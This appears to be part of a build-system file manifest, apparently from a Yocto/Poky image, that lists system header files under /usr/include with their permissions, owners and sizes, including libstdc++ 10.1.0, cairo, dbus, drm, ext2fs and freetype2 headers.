+-rw-r--r-- root root 110624 ./usr/include/c++/10.1.0/ext/vstring.h
+-rw-r--r-- root root 23614 ./usr/include/c++/10.1.0/ext/vstring.tcc
+-rw-r--r-- root root 5885 ./usr/include/c++/10.1.0/ext/vstring_util.h
+-rw-r--r-- root root 2020 ./usr/include/c++/10.1.0/fenv.h
+-rw-r--r-- root root 1645 ./usr/include/c++/10.1.0/filesystem
+-rw-r--r-- root root 2690 ./usr/include/c++/10.1.0/forward_list
+-rw-r--r-- root root 40559 ./usr/include/c++/10.1.0/fstream
+-rw-r--r-- root root 40189 ./usr/include/c++/10.1.0/functional
+-rw-r--r-- root root 50826 ./usr/include/c++/10.1.0/future
+-rw-r--r-- root root 3038 ./usr/include/c++/10.1.0/initializer_list
+-rw-r--r-- root root 16547 ./usr/include/c++/10.1.0/iomanip
+-rw-r--r-- root root 1601 ./usr/include/c++/10.1.0/ios
+-rw-r--r-- root root 6918 ./usr/include/c++/10.1.0/iosfwd
+-rw-r--r-- root root 2695 ./usr/include/c++/10.1.0/iostream
+-rw-r--r-- root root 32843 ./usr/include/c++/10.1.0/istream
+-rw-r--r-- root root 2751 ./usr/include/c++/10.1.0/iterator
+-rw-r--r-- root root 71808 ./usr/include/c++/10.1.0/limits
+-rw-r--r-- root root 3657 ./usr/include/c++/10.1.0/list
+-rw-r--r-- root root 1488 ./usr/include/c++/10.1.0/locale
+-rw-r--r-- root root 3929 ./usr/include/c++/10.1.0/map
+-rw-r--r-- root root 4573 ./usr/include/c++/10.1.0/math.h
+-rw-r--r-- root root 13663 ./usr/include/c++/10.1.0/memory
+-rw-r--r-- root root 20624 ./usr/include/c++/10.1.0/memory_resource
+-rw-r--r-- root root 19755 ./usr/include/c++/10.1.0/mutex
+-rw-r--r-- root root 8199 ./usr/include/c++/10.1.0/new
+-rw-r--r-- root root 6220 ./usr/include/c++/10.1.0/numbers
+-rw-r--r-- root root 25090 ./usr/include/c++/10.1.0/numeric
+-rw-r--r-- root root 38703 ./usr/include/c++/10.1.0/optional
+-rw-r--r-- root root 24826 ./usr/include/c++/10.1.0/ostream
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/parallel
+-rw-r--r-- root root 18259 ./usr/include/c++/10.1.0/parallel/algobase.h
+-rw-r--r-- root root 80136 ./usr/include/c++/10.1.0/parallel/algo.h
+-rw-r--r-- root root 1381 ./usr/include/c++/10.1.0/parallel/algorithm
+-rw-r--r-- root root 32306 ./usr/include/c++/10.1.0/parallel/algorithmfwd.h
+-rw-r--r-- root root 16952 ./usr/include/c++/10.1.0/parallel/balanced_quicksort.h
+-rw-r--r-- root root 12373 ./usr/include/c++/10.1.0/parallel/base.h
+-rw-r--r-- root root 1586 ./usr/include/c++/10.1.0/parallel/basic_iterator.h
+-rw-r--r-- root root 2235 ./usr/include/c++/10.1.0/parallel/checkers.h
+-rw-r--r-- root root 3790 ./usr/include/c++/10.1.0/parallel/compatibility.h
+-rw-r--r-- root root 2871 ./usr/include/c++/10.1.0/parallel/compiletime_settings.h
+-rw-r--r-- root root 3356 ./usr/include/c++/10.1.0/parallel/equally_split.h
+-rw-r--r-- root root 3543 ./usr/include/c++/10.1.0/parallel/features.h
+-rw-r--r-- root root 13591 ./usr/include/c++/10.1.0/parallel/find.h
+-rw-r--r-- root root 6992 ./usr/include/c++/10.1.0/parallel/find_selectors.h
+-rw-r--r-- root root 3947 ./usr/include/c++/10.1.0/parallel/for_each.h
+-rw-r--r-- root root 10565 ./usr/include/c++/10.1.0/parallel/for_each_selectors.h
+-rw-r--r-- root root 5678 ./usr/include/c++/10.1.0/parallel/iterator.h
+-rw-r--r-- root root 6542 ./usr/include/c++/10.1.0/parallel/list_partition.h
+-rw-r--r-- root root 28592 ./usr/include/c++/10.1.0/parallel/losertree.h
+-rw-r--r-- root root 9578 ./usr/include/c++/10.1.0/parallel/merge.h
+-rw-r--r-- root root 22073 ./usr/include/c++/10.1.0/parallel/multiseq_selection.h
+-rw-r--r-- root root 70545 ./usr/include/c++/10.1.0/parallel/multiway_merge.h
+-rw-r--r-- root root 15281 ./usr/include/c++/10.1.0/parallel/multiway_mergesort.h
+-rw-r--r-- root root 20717 ./usr/include/c++/10.1.0/parallel/numeric
+-rw-r--r-- root root 7506 ./usr/include/c++/10.1.0/parallel/numericfwd.h
+-rw-r--r-- root root 4031 ./usr/include/c++/10.1.0/parallel/omp_loop.h
+-rw-r--r-- root root 4104 ./usr/include/c++/10.1.0/parallel/omp_loop_static.h
+-rw-r--r-- root root 1576 ./usr/include/c++/10.1.0/parallel/parallel.h
+-rw-r--r-- root root 4552 ./usr/include/c++/10.1.0/parallel/par_loop.h
+-rw-r--r-- root root 7474 ./usr/include/c++/10.1.0/parallel/partial_sum.h
+-rw-r--r-- root root 14961 ./usr/include/c++/10.1.0/parallel/partition.h
+-rw-r--r-- root root 5542 ./usr/include/c++/10.1.0/parallel/queue.h
+-rw-r--r-- root root 6126 ./usr/include/c++/10.1.0/parallel/quicksort.h
+-rw-r--r-- root root 4227 ./usr/include/c++/10.1.0/parallel/random_number.h
+-rw-r--r-- root root 18675 ./usr/include/c++/10.1.0/parallel/random_shuffle.h
+-rw-r--r-- root root 5391 ./usr/include/c++/10.1.0/parallel/search.h
+-rw-r--r-- root root 14590 ./usr/include/c++/10.1.0/parallel/set_operations.h
+-rw-r--r-- root root 12462 ./usr/include/c++/10.1.0/parallel/settings.h
+-rw-r--r-- root root 7709 ./usr/include/c++/10.1.0/parallel/sort.h
+-rw-r--r-- root root 5982 ./usr/include/c++/10.1.0/parallel/tags.h
+-rw-r--r-- root root 3716 ./usr/include/c++/10.1.0/parallel/types.h
+-rw-r--r-- root root 6165 ./usr/include/c++/10.1.0/parallel/unique_copy.h
+-rw-r--r-- root root 9610 ./usr/include/c++/10.1.0/parallel/workstealing.h
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/pstl
+-rw-r--r-- root root 68340 ./usr/include/c++/10.1.0/pstl/algorithm_fwd.h
+-rw-r--r-- root root 172216 ./usr/include/c++/10.1.0/pstl/algorithm_impl.h
+-rw-r--r-- root root 3694 ./usr/include/c++/10.1.0/pstl/execution_defs.h
+-rw-r--r-- root root 4834 ./usr/include/c++/10.1.0/pstl/execution_impl.h
+-rw-r--r-- root root 32278 ./usr/include/c++/10.1.0/pstl/glue_algorithm_defs.h
+-rw-r--r-- root root 64874 ./usr/include/c++/10.1.0/pstl/glue_algorithm_impl.h
+-rw-r--r-- root root 1549 ./usr/include/c++/10.1.0/pstl/glue_execution_defs.h
+-rw-r--r-- root root 3865 ./usr/include/c++/10.1.0/pstl/glue_memory_defs.h
+-rw-r--r-- root root 19574 ./usr/include/c++/10.1.0/pstl/glue_memory_impl.h
+-rw-r--r-- root root 6620 ./usr/include/c++/10.1.0/pstl/glue_numeric_defs.h
+-rw-r--r-- root root 11628 ./usr/include/c++/10.1.0/pstl/glue_numeric_impl.h
+-rw-r--r-- root root 1997 ./usr/include/c++/10.1.0/pstl/memory_impl.h
+-rw-r--r-- root root 7929 ./usr/include/c++/10.1.0/pstl/numeric_fwd.h
+-rw-r--r-- root root 18748 ./usr/include/c++/10.1.0/pstl/numeric_impl.h
+-rw-r--r-- root root 718 ./usr/include/c++/10.1.0/pstl/parallel_backend.h
+-rw-r--r-- root root 4084 ./usr/include/c++/10.1.0/pstl/parallel_backend_serial.h
+-rw-r--r-- root root 26379 ./usr/include/c++/10.1.0/pstl/parallel_backend_tbb.h
+-rw-r--r-- root root 5602 ./usr/include/c++/10.1.0/pstl/parallel_backend_utils.h
+-rw-r--r-- root root 4110 ./usr/include/c++/10.1.0/pstl/parallel_impl.h
+-rw-r--r-- root root 6990 ./usr/include/c++/10.1.0/pstl/pstl_config.h
+-rw-r--r-- root root 29256 ./usr/include/c++/10.1.0/pstl/unseq_backend_simd.h
+-rw-r--r-- root root 4606 ./usr/include/c++/10.1.0/pstl/utils.h
+-rw-r--r-- root root 2467 ./usr/include/c++/10.1.0/queue
+-rw-r--r-- root root 1692 ./usr/include/c++/10.1.0/random
+-rw-r--r-- root root 97030 ./usr/include/c++/10.1.0/ranges
+-rw-r--r-- root root 20107 ./usr/include/c++/10.1.0/ratio
+-rw-r--r-- root root 2648 ./usr/include/c++/10.1.0/regex
+-rw-r--r-- root root 17459 ./usr/include/c++/10.1.0/scoped_allocator
+-rw-r--r-- root root 3799 ./usr/include/c++/10.1.0/set
+-rw-r--r-- root root 24417 ./usr/include/c++/10.1.0/shared_mutex
+-rw-r--r-- root root 13251 ./usr/include/c++/10.1.0/span
+-rw-r--r-- root root 28524 ./usr/include/c++/10.1.0/sstream
+-rw-r--r-- root root 2391 ./usr/include/c++/10.1.0/stack
+-rw-r--r-- root root 9877 ./usr/include/c++/10.1.0/stdexcept
+-rw-r--r-- root root 2248 ./usr/include/c++/10.1.0/stdlib.h
+-rw-r--r-- root root 16254 ./usr/include/c++/10.1.0/stop_token
+-rw-r--r-- root root 30017 ./usr/include/c++/10.1.0/streambuf
+-rw-r--r-- root root 4645 ./usr/include/c++/10.1.0/string
+-rw-r--r-- root root 24878 ./usr/include/c++/10.1.0/string_view
+-rw-r--r-- root root 14871 ./usr/include/c++/10.1.0/system_error
+-rw-r--r-- root root 1360 ./usr/include/c++/10.1.0/tgmath.h
+-rw-r--r-- root root 13968 ./usr/include/c++/10.1.0/thread
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/tr1
+-rw-r--r-- root root 6983 ./usr/include/c++/10.1.0/tr1/array
+-rw-r--r-- root root 22937 ./usr/include/c++/10.1.0/tr1/bessel_function.tcc
+-rw-r--r-- root root 5995 ./usr/include/c++/10.1.0/tr1/beta_function.tcc
+-rw-r--r-- root root 1255 ./usr/include/c++/10.1.0/tr1/ccomplex
+-rw-r--r-- root root 1478 ./usr/include/c++/10.1.0/tr1/cctype
+-rw-r--r-- root root 2070 ./usr/include/c++/10.1.0/tr1/cfenv
+-rw-r--r-- root root 1380 ./usr/include/c++/10.1.0/tr1/cfloat
+-rw-r--r-- root root 2322 ./usr/include/c++/10.1.0/tr1/cinttypes
+-rw-r--r-- root root 1454 ./usr/include/c++/10.1.0/tr1/climits
+-rw-r--r-- root root 43874 ./usr/include/c++/10.1.0/tr1/cmath
+-rw-r--r-- root root 12384 ./usr/include/c++/10.1.0/tr1/complex
+-rw-r--r-- root root 1261 ./usr/include/c++/10.1.0/tr1/complex.h
+-rw-r--r-- root root 1246 ./usr/include/c++/10.1.0/tr1/cstdarg
+-rw-r--r-- root root 1344 ./usr/include/c++/10.1.0/tr1/cstdbool
+-rw-r--r-- root root 2687 ./usr/include/c++/10.1.0/tr1/cstdint
+-rw-r--r-- root root 1548 ./usr/include/c++/10.1.0/tr1/cstdio
+-rw-r--r-- root root 1862 ./usr/include/c++/10.1.0/tr1/cstdlib
+-rw-r--r-- root root 1248 ./usr/include/c++/10.1.0/tr1/ctgmath
+-rw-r--r-- root root 1234 ./usr/include/c++/10.1.0/tr1/ctime
+-rw-r--r-- root root 1209 ./usr/include/c++/10.1.0/tr1/ctype.h
+-rw-r--r-- root root 1784 ./usr/include/c++/10.1.0/tr1/cwchar
+-rw-r--r-- root root 1525 ./usr/include/c++/10.1.0/tr1/cwctype
+-rw-r--r-- root root 27644 ./usr/include/c++/10.1.0/tr1/ell_integral.tcc
+-rw-r--r-- root root 16013 ./usr/include/c++/10.1.0/tr1/exp_integral.tcc
+-rw-r--r-- root root 1204 ./usr/include/c++/10.1.0/tr1/fenv.h
+-rw-r--r-- root root 1209 ./usr/include/c++/10.1.0/tr1/float.h
+-rw-r--r-- root root 70545 ./usr/include/c++/10.1.0/tr1/functional
+-rw-r--r-- root root 6043 ./usr/include/c++/10.1.0/tr1/functional_hash.h
+-rw-r--r-- root root 14682 ./usr/include/c++/10.1.0/tr1/gamma.tcc
+-rw-r--r-- root root 41995 ./usr/include/c++/10.1.0/tr1/hashtable.h
+-rw-r--r-- root root 25086 ./usr/include/c++/10.1.0/tr1/hashtable_policy.h
+-rw-r--r-- root root 28066 ./usr/include/c++/10.1.0/tr1/hypergeometric.tcc
+-rw-r--r-- root root 1267 ./usr/include/c++/10.1.0/tr1/inttypes.h
+-rw-r--r-- root root 10652 ./usr/include/c++/10.1.0/tr1/legendre_function.tcc
+-rw-r--r-- root root 1214 ./usr/include/c++/10.1.0/tr1/limits.h
+-rw-r--r-- root root 4553 ./usr/include/c++/10.1.0/tr1/math.h
+-rw-r--r-- root root 1791 ./usr/include/c++/10.1.0/tr1/memory
+-rw-r--r-- root root 16324 ./usr/include/c++/10.1.0/tr1/modified_bessel_func.tcc
+-rw-r--r-- root root 3925 ./usr/include/c++/10.1.0/tr1/poly_hermite.tcc
+-rw-r--r-- root root 11676 ./usr/include/c++/10.1.0/tr1/poly_laguerre.tcc
+-rw-r--r-- root root 1589 ./usr/include/c++/10.1.0/tr1/random
+-rw-r--r-- root root 73123 ./usr/include/c++/10.1.0/tr1/random.h
+-rw-r--r-- root root 53927 ./usr/include/c++/10.1.0/tr1/random.tcc
+-rw-r--r-- root root 92899 ./usr/include/c++/10.1.0/tr1/regex
+-rw-r--r-- root root 14067 ./usr/include/c++/10.1.0/tr1/riemann_zeta.tcc
+-rw-r--r-- root root 32608 ./usr/include/c++/10.1.0/tr1/shared_ptr.h
+-rw-r--r-- root root 5055 ./usr/include/c++/10.1.0/tr1/special_function_util.h
+-rw-r--r-- root root 1214 ./usr/include/c++/10.1.0/tr1/stdarg.h
+-rw-r--r-- root root 1219 ./usr/include/c++/10.1.0/tr1/stdbool.h
+-rw-r--r-- root root 1214 ./usr/include/c++/10.1.0/tr1/stdint.h
+-rw-r--r-- root root 1209 ./usr/include/c++/10.1.0/tr1/stdio.h
+-rw-r--r-- root root 1487 ./usr/include/c++/10.1.0/tr1/stdlib.h
+-rw-r--r-- root root 1255 ./usr/include/c++/10.1.0/tr1/tgmath.h
+-rw-r--r-- root root 12119 ./usr/include/c++/10.1.0/tr1/tuple
+-rw-r--r-- root root 19019 ./usr/include/c++/10.1.0/tr1/type_traits
+-rw-r--r-- root root 1574 ./usr/include/c++/10.1.0/tr1/unordered_map
+-rw-r--r-- root root 10216 ./usr/include/c++/10.1.0/tr1/unordered_map.h
+-rw-r--r-- root root 1574 ./usr/include/c++/10.1.0/tr1/unordered_set
+-rw-r--r-- root root 9540 ./usr/include/c++/10.1.0/tr1/unordered_set.h
+-rw-r--r-- root root 3225 ./usr/include/c++/10.1.0/tr1/utility
+-rw-r--r-- root root 1249 ./usr/include/c++/10.1.0/tr1/wchar.h
+-rw-r--r-- root root 1255 ./usr/include/c++/10.1.0/tr1/wctype.h
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/tr2
+-rw-r--r-- root root 7370 ./usr/include/c++/10.1.0/tr2/bool_set
+-rw-r--r-- root root 8319 ./usr/include/c++/10.1.0/tr2/bool_set.tcc
+-rw-r--r-- root root 34336 ./usr/include/c++/10.1.0/tr2/dynamic_bitset
+-rw-r--r-- root root 8925 ./usr/include/c++/10.1.0/tr2/dynamic_bitset.tcc
+-rw-r--r-- root root 2130 ./usr/include/c++/10.1.0/tr2/ratio
+-rw-r--r-- root root 2699 ./usr/include/c++/10.1.0/tr2/type_traits
+-rw-r--r-- root root 60078 ./usr/include/c++/10.1.0/tuple
+-rw-r--r-- root root 3512 ./usr/include/c++/10.1.0/typeindex
+-rw-r--r-- root root 7746 ./usr/include/c++/10.1.0/typeinfo
+-rw-r--r-- root root 103356 ./usr/include/c++/10.1.0/type_traits
+-rw-r--r-- root root 3467 ./usr/include/c++/10.1.0/unordered_map
+-rw-r--r-- root root 3340 ./usr/include/c++/10.1.0/unordered_set
+-rw-r--r-- root root 14820 ./usr/include/c++/10.1.0/utility
+-rw-r--r-- root root 40362 ./usr/include/c++/10.1.0/valarray
+-rw-r--r-- root root 60701 ./usr/include/c++/10.1.0/variant
+-rw-r--r-- root root 4275 ./usr/include/c++/10.1.0/vector
+-rw-r--r-- root root 7706 ./usr/include/c++/10.1.0/version
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/x86_64-poky-linux
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits
+-rw-r--r-- root root 1518 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/atomic_word.h
+-rw-r--r-- root root 3575 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/basic_file.h
+-rw-r--r-- root root 1979 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/c++allocator.h
+-rw-r--r-- root root 61947 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/c++config.h
+-rw-r--r-- root root 1608 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/c++io.h
+-rw-r--r-- root root 3307 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/c++locale.h
+-rw-r--r-- root root 1333 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/cpu_defines.h
+-rw-r--r-- root root 2316 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/ctype_base.h
+-rw-r--r-- root root 2284 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/ctype_inline.h
+-rw-r--r-- root root 2096 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/cxxabi_tweaks.h
+-rw-r--r-- root root 5175 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/error_constants.h
+-rw-r--r-- root root 2628 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/extc++.h
+-rw-r--r-- root root 24260 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/gthr-default.h
+-rw-r--r-- root root 5608 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/gthr.h
+-rw-r--r-- root root 24260 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/gthr-posix.h
+-rw-r--r-- root root 6808 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/gthr-single.h
+-rw-r--r-- root root 4516 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/messages_members.h
+-rw-r--r-- root root 6194 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/opt_random.h
+-rw-r--r-- root root 2007 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/os_defines.h
+-rw-r--r-- root root 3286 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/stdc++.h
+-rw-r--r-- root root 1741 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/stdtr1c++.h
+-rw-r--r-- root root 2924 ./usr/include/c++/10.1.0/x86_64-poky-linux/bits/time_members.h
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/x86_64-poky-linux/ext
+-rw-r--r-- root root 4756 ./usr/include/c++/10.1.0/x86_64-poky-linux/ext/opt_random.h
+drwxr-xr-x root root 4096 ./usr/include/cairo
+-rw-r--r-- root root 8698 ./usr/include/cairo/cairo-deprecated.h
+-rw-r--r-- root root 1460 ./usr/include/cairo/cairo-features.h
+-rw-r--r-- root root 3721 ./usr/include/cairo/cairo-ft.h
+-rw-r--r-- root root 5117 ./usr/include/cairo/cairo-gl.h
+-rw-r--r-- root root 6452 ./usr/include/cairo/cairo-gobject.h
+-rw-r--r-- root root 110955 ./usr/include/cairo/cairo.h
+-rw-r--r-- root root 5617 ./usr/include/cairo/cairo-pdf.h
+-rw-r--r-- root root 3632 ./usr/include/cairo/cairo-ps.h
+-rw-r--r-- root root 3072 ./usr/include/cairo/cairo-script.h
+-rw-r--r-- root root 4059 ./usr/include/cairo/cairo-script-interpreter.h
+-rw-r--r-- root root 4504 ./usr/include/cairo/cairo-svg.h
+-rw-r--r-- root root 2173 ./usr/include/cairo/cairo-tee.h
+-rw-r--r-- root root 148 ./usr/include/cairo/cairo-version.h
+-rw-r--r-- root root 3775 ./usr/include/cairo/cairo-xcb.h
+-rw-r--r-- root root 3577 ./usr/include/cairo/cairo-xlib.h
+-rw-r--r-- root root 2436 ./usr/include/cairo/cairo-xlib-xrender.h
+-rw-r--r-- root root 3198 ./usr/include/cap-ng.h
+-rw-r--r-- root root 2118 ./usr/include/com_err.h
+-rw-r--r-- root root 7164 ./usr/include/complex.h
+-rw-r--r-- root root 2268 ./usr/include/cpio.h
+-rw-r--r-- root root 11160 ./usr/include/crypt.h
+-rw-r--r-- root root 19025 ./usr/include/ctf-api.h
+-rw-r--r-- root root 25153 ./usr/include/ctf.h
+-rw-r--r-- root root 10969 ./usr/include/ctype.h
+-rw-r--r-- root root 100249 ./usr/include/curses-64.h
+-rw-r--r-- root root 6878 ./usr/include/cursesapp.h
+-rw-r--r-- root root 28021 ./usr/include/cursesf.h
+-rw-r--r-- root root 512 ./usr/include/curses.h
+-rw-r--r-- root root 19874 ./usr/include/cursesm.h
+-rw-r--r-- root root 8722 ./usr/include/cursesp.h
+-rw-r--r-- root root 49871 ./usr/include/cursesw.h
+-rw-r--r-- root root 7407 ./usr/include/cursslk.h
+drwxr-xr-x root root 4096 ./usr/include/db51
+-rw-r--r-- root root 49057 ./usr/include/db51/db_cxx.h
+-rw-r--r-- root root 123105 ./usr/include/db51/db.h
+lrwxrwxrwx root root 13 ./usr/include/db_cxx.h -> db51/db_cxx.h
+lrwxrwxrwx root root 9 ./usr/include/db.h -> db51/db.h
+-rw-r--r-- root root 1414 ./usr/include/dbm.h
+drwxr-xr-x root root 4096 ./usr/include/dbus-1.0
+drwxr-xr-x root root 4096 ./usr/include/dbus-1.0/dbus
+-rw-r--r-- root root 2812 ./usr/include/dbus-1.0/dbus/dbus-address.h
+-rw-r--r-- root root 3472 ./usr/include/dbus-1.0/dbus/dbus-bus.h
+-rw-r--r-- root root 27020 ./usr/include/dbus-1.0/dbus/dbus-connection.h
+-rw-r--r-- root root 2911 ./usr/include/dbus-1.0/dbus/dbus-errors.h
+-rw-r--r-- root root 3963 ./usr/include/dbus-1.0/dbus/dbus.h
+-rw-r--r-- root root 6757 ./usr/include/dbus-1.0/dbus/dbus-macros.h
+-rw-r--r-- root root 1963 ./usr/include/dbus-1.0/dbus/dbus-memory.h
+-rw-r--r-- root root 15005 ./usr/include/dbus-1.0/dbus/dbus-message.h
+-rw-r--r-- root root 1813 ./usr/include/dbus-1.0/dbus/dbus-misc.h
+-rw-r--r-- root root 3811 ./usr/include/dbus-1.0/dbus/dbus-pending-call.h
+-rw-r--r-- root root 23642 ./usr/include/dbus-1.0/dbus/dbus-protocol.h
+-rw-r--r-- root root 4045 ./usr/include/dbus-1.0/dbus/dbus-python.h
+-rw-r--r-- root root 5414 ./usr/include/dbus-1.0/dbus/dbus-server.h
+-rw-r--r-- root root 5394 ./usr/include/dbus-1.0/dbus/dbus-shared.h
+-rw-r--r-- root root 3049 ./usr/include/dbus-1.0/dbus/dbus-signature.h
+-rw-r--r-- root root 2359 ./usr/include/dbus-1.0/dbus/dbus-syntax.h
+-rw-r--r-- root root 8507 ./usr/include/dbus-1.0/dbus/dbus-threads.h
+-rw-r--r-- root root 4145 ./usr/include/dbus-1.0/dbus/dbus-types.h
+-rw-r--r-- root root 3332 ./usr/include/diagnostics.h
+-rw-r--r-- root root 12515 ./usr/include/dirent.h
+-rw-r--r-- root root 16687 ./usr/include/dis-asm.h
+-rw-r--r-- root root 7479 ./usr/include/dlfcn.h
+drwxr-xr-x root root 4096 ./usr/include/drm
+-rw-r--r-- root root 31894 ./usr/include/drm/amdgpu_drm.h
+-rw-r--r-- root root 1212 ./usr/include/drm/armada_drm.h
+-rw-r--r-- root root 32817 ./usr/include/drm/drm_fourcc.h
+-rw-r--r-- root root 32129 ./usr/include/drm/drm.h
+-rw-r--r-- root root 28604 ./usr/include/drm/drm_mode.h
+-rw-r--r-- root root 2782 ./usr/include/drm/drm_sarea.h
+-rw-r--r-- root root 11822 ./usr/include/drm/etnaviv_drm.h
+-rw-r--r-- root root 11132 ./usr/include/drm/exynos_drm.h
+-rw-r--r-- root root 10061 ./usr/include/drm/i810_drm.h
+-rw-r--r-- root root 70507 ./usr/include/drm/i915_drm.h
+-rw-r--r-- root root 4817 ./usr/include/drm/lima_drm.h
+-rw-r--r-- root root 13010 ./usr/include/drm/mga_drm.h
+-rw-r--r-- root root 13230 ./usr/include/drm/msm_drm.h
+-rw-r--r-- root root 6560 ./usr/include/drm/nouveau_drm.h
+-rw-r--r-- root root 4141 ./usr/include/drm/omap_drm.h
+-rw-r--r-- root root 7346 ./usr/include/drm/panfrost_drm.h
+-rw-r--r-- root root 4131 ./usr/include/drm/qxl_drm.h
+-rw-r--r-- root root 10000 ./usr/include/drm/r128_drm.h
+-rw-r--r-- root root 38236 ./usr/include/drm/radeon_drm.h
+-rw-r--r-- root root 7170 ./usr/include/drm/savage_drm.h
+-rw-r--r-- root root 2637 ./usr/include/drm/sis_drm.h
+-rw-r--r-- root root 14877 ./usr/include/drm/tegra_drm.h
+-rw-r--r-- root root 8671 ./usr/include/drm/v3d_drm.h
+-rw-r--r-- root root 14457 ./usr/include/drm/vc4_drm.h
+-rw-r--r-- root root 1971 ./usr/include/drm/vgem_drm.h
+-rw-r--r-- root root 8345 ./usr/include/drm/via_drm.h
+-rw-r--r-- root root 5010 ./usr/include/drm/virtgpu_drm.h
+-rw-r--r-- root root 35392 ./usr/include/drm/vmwgfx_drm.h
+-rw-r--r-- root root 31014 ./usr/include/dwarf.h
+drwxr-xr-x root root 4096 ./usr/include/e2p
+-rw-r--r-- root root 3252 ./usr/include/e2p/e2p.h
+-rw-r--r-- root root 180099 ./usr/include/elf.h
+drwxr-xr-x root root 4096 ./usr/include/elfutils
+-rw-r--r-- root root 3947 ./usr/include/elfutils/elf-knowledge.h
+-rw-r--r-- root root 41860 ./usr/include/elfutils/known-dwarf.h
+-rw-r--r-- root root 7098 ./usr/include/elfutils/libasm.h
+-rw-r--r-- root root 6452 ./usr/include/elfutils/libdwelf.h
+-rw-r--r-- root root 37558 ./usr/include/elfutils/libdwfl.h
+-rw-r--r-- root root 44920 ./usr/include/elfutils/libdw.h
+-rw-r--r-- root root 1274 ./usr/include/elfutils/version.h
+-rw-r--r-- root root 2299 ./usr/include/endian.h
+-rw-r--r-- root root 2867 ./usr/include/envz.h
+-rw-r--r-- root root 2267 ./usr/include/err.h
+-rw-r--r-- root root 1679 ./usr/include/errno.h
+-rw-r--r-- root root 2282 ./usr/include/error.h
+drwxr-xr-x root root 4096 ./usr/include/et
+-rw-r--r-- root root 2118 ./usr/include/et/com_err.h
+-rw-r--r-- root root 2969 ./usr/include/eti.h
+-rw-r--r-- root root 9775 ./usr/include/etip.h
+-rw-r--r-- root root 1523 ./usr/include/execinfo.h
+-rw-r--r-- root root 3830 ./usr/include/expat_config.h
+-rw-r--r-- root root 5528 ./usr/include/expat_external.h
+-rw-r--r-- root root 41473 ./usr/include/expat.h
+drwxr-xr-x root root 4096 ./usr/include/ext2fs
+-rw-r--r-- root root 22148 ./usr/include/ext2fs/bitops.h
+-rw-r--r-- root root 11847 ./usr/include/ext2fs/ext2_err.h
+-rw-r--r-- root root 2644 ./usr/include/ext2fs/ext2_ext_attr.h
+-rw-r--r-- root root 42075 ./usr/include/ext2fs/ext2_fs.h
+-rw-r--r-- root root 72208 ./usr/include/ext2fs/ext2fs.h
+-rw-r--r-- root root 5391 ./usr/include/ext2fs/ext2_io.h
+-rw-r--r-- root root 4212 ./usr/include/ext2fs/ext2_types-64.h
+-rw-r--r-- root root 556 ./usr/include/ext2fs/ext2_types.h
+-rw-r--r-- root root 4558 ./usr/include/ext2fs/ext3_extents.h
+-rw-r--r-- root root 1179 ./usr/include/ext2fs/hashmap.h
+-rw-r--r-- root root 2588 ./usr/include/ext2fs/qcow2.h
+-rw-r--r-- root root 8871 ./usr/include/ext2fs/tdb.h
+-rw-r--r-- root root 11026 ./usr/include/fcntl.h
+-rw-r--r-- root root 17235 ./usr/include/features.h
+-rw-r--r-- root root 5874 ./usr/include/fenv.h
+-rw-r--r-- root root 13934 ./usr/include/ffi-64.h
+-rw-r--r-- root root 500 ./usr/include/ffi.h
+-rw-r--r-- root root 4343 ./usr/include/ffitarget.h
+drwxr-xr-x root root 4096 ./usr/include/finclude
+-rw-r--r-- root root 2384 ./usr/include/finclude/math-vector-fortran.h
+-rw-r--r-- root root 6893 ./usr/include/FlexLexer.h
+-rw-r--r-- root root 3240 ./usr/include/fmtmsg.h
+-rw-r--r-- root root 2296 ./usr/include/fnmatch.h
+drwxr-xr-x root root 4096 ./usr/include/fontconfig
+-rw-r--r-- root root 1958 ./usr/include/fontconfig/fcfreetype.h
+-rw-r--r-- root root 4489 ./usr/include/fontconfig/fcprivate.h
+-rw-r--r-- root root 28461 ./usr/include/fontconfig/fontconfig.h
+-rw-r--r-- root root 18811 ./usr/include/form.h
+-rw-r--r-- root root 3584 ./usr/include/fpu_control.h
+drwxr-xr-x root root 4096 ./usr/include/freedreno
+-rw-r--r-- root root 4992 ./usr/include/freedreno/freedreno_drmif.h
+-rw-r--r-- root root 4963 ./usr/include/freedreno/freedreno_ringbuffer.h
+drwxr-xr-x root root 4096 ./usr/include/freetype2
+drwxr-xr-x root root 4096 ./usr/include/freetype2/freetype
+drwxr-xr-x root root 4096 ./usr/include/freetype2/freetype/config
+-rw-r--r-- root root 19859 ./usr/include/freetype2/freetype/config/ftconfig-64.h
+-rw-r--r-- root root 624 ./usr/include/freetype2/freetype/config/ftconfig.h
+-rw-r--r-- root root 23228 ./usr/include/freetype2/freetype/config/ftheader.h
+-rw-r--r-- root root 1056 ./usr/include/freetype2/freetype/config/ftmodule.h
+-rw-r--r-- root root 39330 ./usr/include/freetype2/freetype/config/ftoption.h
+-rw-r--r-- root root 4307 ./usr/include/freetype2/freetype/config/ftstdlib.h
+-rw-r--r-- root root 165664 ./usr/include/freetype2/freetype/freetype.h
